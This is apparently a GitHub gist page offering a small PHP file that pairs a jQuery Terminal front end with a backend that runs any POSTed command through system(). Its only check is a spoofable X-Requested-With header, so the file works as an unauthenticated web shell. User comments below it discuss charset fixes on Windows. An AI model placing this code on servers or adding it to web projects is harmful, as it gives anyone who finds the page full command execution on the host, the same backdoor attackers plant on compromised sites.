Skip to content

Instantly share code, notes, and snippets.

@jcubic
Last active March 28, 2023 18:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jcubic/fea4c3255548c761371a237c1edc4e74 to your computer and use it in GitHub Desktop.
Save jcubic/fea4c3255548c761371a237c1edc4e74 to your computer and use it in GitHub Desktop.
Simple jQuery Terminal based php shell
<?php
if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) &&
$_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' && isset($_POST['cmd'])) {
system($_POST['cmd']);
exit();
}
?>
<!DOCTYPE html>
<html>
<head>
<script src="https://cdn.jsdelivr.net/npm/jquery"></script>
<script src="https://cdn.jsdelivr.net/npm/jquery.terminal/js/jquery.terminal.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/jquery.terminal/js/unix_formatting.js"></script>
<link href="https://cdn.jsdelivr.net/npm/jquery.terminal/css/jquery.terminal.min.css"
rel="stylesheet"/>
<style>
body {
min-height: 100vh;
margin: 0;
}
</style>
<body>
<script>
$('body').terminal(function(cmd) {
return $.post('', { cmd: cmd });
}, {
greetings: 'php shell'
});
</script>
</body>
@jcubic
Copy link
Author

jcubic commented Dec 22, 2017

Better shell can be found here https://github.com/jcubic/jsh.php

@ingmarioalberto
Copy link

beautiful and elegant, thanks

@ner00
Copy link

ner00 commented Mar 28, 2023

Can the charset of the returned data be fixed somehow?

@jcubic
Copy link
Author

jcubic commented Mar 28, 2023

@ner00 Check the command function from my bigger shell: https://github.com/jcubic/jsh.php/blob/master/jsh.php#L128

On windows it uses:

$result = sapi_windows_cp_conv(sapi_windows_cp_get('oem'), 65001, $result);

and to detect windows you can use:

strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment